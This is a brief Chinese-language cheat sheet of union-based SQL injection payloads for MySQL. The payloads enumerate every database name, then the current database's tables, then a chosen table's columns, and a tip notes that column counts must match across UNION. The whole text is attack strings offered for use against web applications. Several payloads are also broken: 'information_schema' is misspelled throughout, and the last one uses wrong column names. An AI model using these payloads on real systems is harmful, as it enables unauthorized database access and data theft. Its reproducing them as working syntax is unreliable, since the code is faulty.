获取mysql所有库名

' union select group_concat(schema_name) from infromation_schema.schemata+--+ 

注意union前后表列数一致

获取当前数据库的所有表名

' union select group_concat(table_name) from infromation_schema.tables where table_schema=database()+--+

获取当前数据库中某表中字段名

' union select group_concat(column_name) from infromation_schema.columns where tables_schema=database() and tables_name=表名+--+